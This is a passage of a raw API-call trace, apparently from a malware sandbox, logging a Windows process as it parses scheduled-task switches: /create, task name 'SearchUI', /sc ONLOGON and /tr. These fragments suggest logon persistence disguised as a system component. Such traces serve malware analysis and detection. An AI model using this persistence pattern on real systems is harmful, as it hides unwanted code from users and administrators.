_Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.901] lstrlenW (lpString="|rp|") returned 4 [0125.901] lstrlenW (lpString="|tn|") returned 4 [0125.901] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0125.901] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.901] lstrlenW (lpString="sc") returned 2 [0125.901] lstrlenW (lpString="sc") returned 2 [0125.901] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.901] lstrlenW (lpString="tn") returned 2 [0125.901] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.902] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.902] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.902] lstrlenW (lpString="|sc|") returned 4 [0125.902] lstrlenW (lpString="|tn|") returned 4 [0125.902] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0125.902] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.902] lstrlenW (lpString="mo") returned 2 [0125.902] lstrlenW (lpString="mo") returned 2 [0125.902] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.902] lstrlenW (lpString="tn") returned 2 [0125.902] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.902] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|mo|") returned 4 [0125.902] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.902] lstrlenW (lpString="|mo|") returned 4 [0125.902] lstrlenW (lpString="|tn|") returned 4 [0125.902] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0125.902] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.902] lstrlenW (lpString="d") returned 1 [0125.902] lstrlenW (lpString="d") returned 1 [0125.902] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.902] lstrlenW (lpString="tn") returned 2 [0125.902] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.902] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|d|") returned 3 [0125.902] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.903] lstrlenW (lpString="|d|") returned 3 [0125.903] lstrlenW (lpString="|tn|") returned 4 [0125.903] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.903] lstrlenW (lpString="m") returned 1 [0125.903] lstrlenW (lpString="m") returned 1 [0125.903] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.903] lstrlenW (lpString="tn") returned 2 [0125.903] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.903] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|m|") returned 3 [0125.903] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.903] lstrlenW (lpString="|m|") returned 3 [0125.903] lstrlenW (lpString="|tn|") returned 4 [0125.903] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.903] lstrlenW (lpString="i") returned 1 [0125.903] lstrlenW (lpString="i") returned 1 [0125.903] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.903] lstrlenW (lpString="tn") returned 2 [0125.903] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.903] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|i|") returned 3 [0125.903] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.903] lstrlenW (lpString="|i|") returned 3 [0125.903] lstrlenW (lpString="|tn|") returned 4 [0125.903] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] lstrlenW (lpString="tn") returned 2 [0125.904] lstrlenW (lpString="tn") returned 2 [0125.904] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.904] lstrlenW (lpString="tn") returned 2 [0125.904] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.904] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.904] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.904] lstrlenW (lpString="|tn|") returned 4 [0125.904] lstrlenW (lpString="|tn|") returned 4 [0125.904] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] lstrlenW (lpString="SearchUI") returned 8 [0125.904] lstrlenW (lpString="-/") returned 2 [0125.904] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] lstrlenW (lpString="SearchUI") returned 8 [0125.904] StrChrIW (lpStart="SearchUI", wMatch=0x3a) returned 0x0 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] lstrlenW (lpString="SearchUI") returned 8 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.904] lstrlenW (lpString="/sc") returned 3 [0125.904] lstrlenW (lpString="-/") returned 2 [0125.904] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.904] lstrlenW (lpString="create") returned 6 [0125.905] lstrlenW (lpString="create") returned 6 [0125.905] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.905] lstrlenW (lpString="sc") returned 2 [0125.905] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.905] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.905] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.905] lstrlenW (lpString="|create|") returned 8 [0125.905] lstrlenW (lpString="|sc|") returned 4 [0125.905] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0125.905] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.905] lstrlenW (lpString="?") returned 1 [0125.905] lstrlenW (lpString="?") returned 1 [0125.905] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.905] lstrlenW (lpString="sc") returned 2 [0125.905] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.905] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|?|") returned 3 [0125.905] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.905] lstrlenW (lpString="|?|") returned 3 [0125.905] lstrlenW (lpString="|sc|") returned 4 [0125.905] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.905] lstrlenW (lpString="s") returned 1 [0125.905] lstrlenW (lpString="s") returned 1 [0125.905] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.905] lstrlenW (lpString="sc") returned 2 [0125.905] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.906] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|s|") returned 3 [0125.906] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.906] lstrlenW (lpString="|s|") returned 3 [0125.906] lstrlenW (lpString="|sc|") returned 4 [0125.906] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.906] lstrlenW (lpString="u") returned 1 [0125.906] lstrlenW (lpString="u") returned 1 [0125.906] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.906] lstrlenW (lpString="sc") returned 2 [0125.906] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.906] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|u|") returned 3 [0125.906] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.906] lstrlenW (lpString="|u|") returned 3 [0125.906] lstrlenW (lpString="|sc|") returned 4 [0125.906] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.906] lstrlenW (lpString="p") returned 1 [0125.906] lstrlenW (lpString="p") returned 1 [0125.906] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.906] lstrlenW (lpString="sc") returned 2 [0125.906] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.906] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|p|") returned 3 [0125.906] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.906] lstrlenW (lpString="|p|") returned 3 [0125.906] lstrlenW (lpString="|sc|") returned 4 [0125.906] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.906] lstrlenW (lpString="ru") returned 2 [0125.906] lstrlenW (lpString="ru") returned 2 [0125.907] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.907] lstrlenW (lpString="sc") returned 2 [0125.907] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.907] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ru|") returned 4 [0125.907] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.907] lstrlenW (lpString="|ru|") returned 4 [0125.907] lstrlenW (lpString="|sc|") returned 4 [0125.907] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0125.907] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.907] lstrlenW (lpString="rp") returned 2 [0125.907] lstrlenW (lpString="rp") returned 2 [0125.907] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.907] lstrlenW (lpString="sc") returned 2 [0125.907] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.907] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rp|") returned 4 [0125.907] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.907] lstrlenW (lpString="|rp|") returned 4 [0125.907] lstrlenW (lpString="|sc|") returned 4 [0125.907] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0125.907] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.907] lstrlenW (lpString="sc") returned 2 [0125.907] lstrlenW (lpString="sc") returned 2 [0125.907] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.907] lstrlenW (lpString="sc") returned 2 [0125.907] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.908] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.908] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.908] lstrlenW (lpString="|sc|") returned 4 [0125.908] lstrlenW (lpString="|sc|") returned 4 [0125.908] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] lstrlenW (lpString="ONLOGON") returned 7 [0125.908] lstrlenW (lpString="-/") returned 2 [0125.908] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] lstrlenW (lpString="ONLOGON") returned 7 [0125.908] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.908] GetProcessHeap () returned 0x1fba65f0000 [0125.908] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65fa950 [0125.908] _memicmp (_Buf1=0x1fba65fa950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.908] lstrlenW (lpString="ONLOGON") returned 7 [0125.908] GetProcessHeap () returned 0x1fba65f0000 [0125.908] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x10) returned 0x1fba65fa930 [0125.908] lstrlenW (lpString="ONLOGON") returned 7 [0125.908] lstrlenW (lpString=" \x09") returned 2 [0125.908] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0125.908] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0125.908] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0125.909] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0125.909] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0125.909] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0125.909] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0125.909] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0125.909] GetLastError () returned 0x0 [0125.909] lstrlenW (lpString="ONLOGON") returned 7 [0125.909] lstrlenW (lpString="ONLOGON") returned 7 [0125.909] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.909] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.909] lstrlenW (lpString="/tr") returned 3 [0125.909] lstrlenW (lpString="-/") returned 2 [0125.909] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.909] lstrlenW (lpString="create") returned 6 [0125.909] lstrlenW (lpString="create") returned 6 [0125.909] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.909] lstrlenW (lpString="tr") returned 2 [0125.909] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.909] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.909] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.909] lstrlenW (lpString="|create|") returned 8 [0125.909] lstrlenW (lpString="|tr|") returned 4 [0125.910] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0125.910] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.910] lstrlenW (lpString="?") returned 1 [0125.910] lstrlenW (lpString="?") returned 1 [0125.910] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.910] lstrlenW (lpString="tr") returned 2 [0125.910] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.910] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|?|") returned 3 [0125.910] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.910] lstrlenW (lpString="|?|") returned 3 [0125.910] lstrlenW (lpString="|tr|") returned 4 [0125.910] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.910] lstrlenW (lpString="s") returned 1 [0125.910] lstrlenW (lpString="s") returned 1 [0125.910] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.910] lstrlenW (lpString="tr") returned 2 [0125.910] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.910] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|s|") returned 3 [0125.910] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.910] lstrlenW (lpString="|s|") returned 3 [0125.910] lstrlenW (lpString="|tr|") returned 4 [0125.911] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.911] lstrlenW (lpString="u") returned 1 [0125.911] lstrlenW (lpString="u") returned 1 [0125.911] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.911] lstrlenW (lpString="tr") returned 2 [0125.911] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.911] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|u|") returned 3 [0125.911] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.911] lstrlenW (lpString="|u|") returned 3 [0125.911] lstrlenW (lpString="|tr|") returned 4 [0125.911] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.911] lstrlenW (lpString="p") returned 1 [0125.911] lstrlenW (lpString="p") returned 1 [0125.911] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.911] lstrlenW (lpString="tr") returned 2 [0125.911] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.911] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|p|") returned 3 [0125.911] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.911] lstrlenW (lpString="|p|") returned 3 [0125.911] lstrlenW (lpString="|tr|") returned 4 [0125.911] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.912] lstrlenW (lpString="ru") returned 2 [0125.912] lstrlenW (lpString="ru") returned 2 [0125.912] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.912] lstrlenW (lpString="tr") returned 2 [0125.912] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.912] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ru|") returned 4 [0125.912] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.912] lstrlenW (lpString="|ru|") returned 4 [0125.912] lstrlenW (lpString="|tr|") returned 4 [0125.912] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0125.912] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.912] lstrlenW (lpString="rp") returned 2 [0125.912] lstrlenW (lpString="rp") returned 2 [0125.912] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.912] lstrlenW (lpString="tr") returned 2 [0125.912] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.912] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rp|") returned 4 [0125.912] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.912] lstrlenW (lpString="|rp|") returned 4 [0125.912] lstrlenW (lpString="|tr|") returned 4 [0125.913] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0125.913] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.913] lstrlenW (lpString="sc") returned 2 [0125.913] lstrlenW (lpString="sc") returned 2 [0125.913] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.913] lstrlenW (lpString="tr") returned 2 [0125.913] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.913] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.913] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.913] lstrlenW (lpString="|sc|") returned 4 [0125.913] lstrlenW (lpString="|tr|") returned 4 [0125.913] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0125.913] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.913] lstrlenW (lpString="mo") returned 2 [0125.913] lstrlenW (lpString="mo") returned 2 [0125.913] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.913] lstrlenW (lpString="tr") returned 2 [0125.913] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.913] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|mo|") returned 4 [0125.913] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.913] lstrlenW (lpString="|mo|") returned 4 [0125.914] lstrlenW (lpString="|tr|") returned 4 [0125.914] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0125.914] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.914] lstrlenW (lpString="d") returned 1 [0125.914] lstrlenW (lpString="d") returned 1 [0125.914] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.914] lstrlenW (lpString="tr") returned 2 [0125.914] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.914] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|d|") returned 3 [0125.914] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.914] lstrlenW (lpString="|d|") returned 3 [0125.914] lstrlenW (lpString="|tr|") returned 4 [0125.914] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.914] lstrlenW (lpString="m") returned 1 [0125.914] lstrlenW (lpString="m") returned 1 [0125.914] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.914] lstrlenW (lpString="tr") returned 2 [0125.914] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.914] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|m|") returned 3 [0125.914] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.914] lstrlenW (lpString="|m|") returned 3 [0125.915] lstrlenW (lpString="|tr|") returned 4 [0125.915] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.915] lstrlenW (lpString="i") returned 1 [0125.915] lstrlenW (lpString="i") returned 1 [0125.915] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.915] lstrlenW (lpString="tr") returned 2 [0125.915] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.915] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|i|") returned 3 [0125.915] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.915] lstrlenW (lpString="|i|") returned 3 [0125.915] lstrlenW (lpString="|tr|") returned 4 [0125.915] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.915] lstrlenW (lpString="tn") returned 2 [0125.915] lstrlenW (lpString="tn") returned 2 [0125.915] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.915] lstrlenW (lpString="tr") returned 2 [0125.915] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.915] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.915] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.915] lstrlenW (lpString="|tn|") returned 4 [0125.915] lstrlenW (lpString="|tr|") returned 4 [0125.916] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0125.916] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.916] lstrlenW (lpString="tr") returned 2 [0125.916] lstrlenW (lpString="tr") returned 2 [0125.916] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.916] lstrlenW (lpString="tr") returned 2 [0125.916] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.916] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 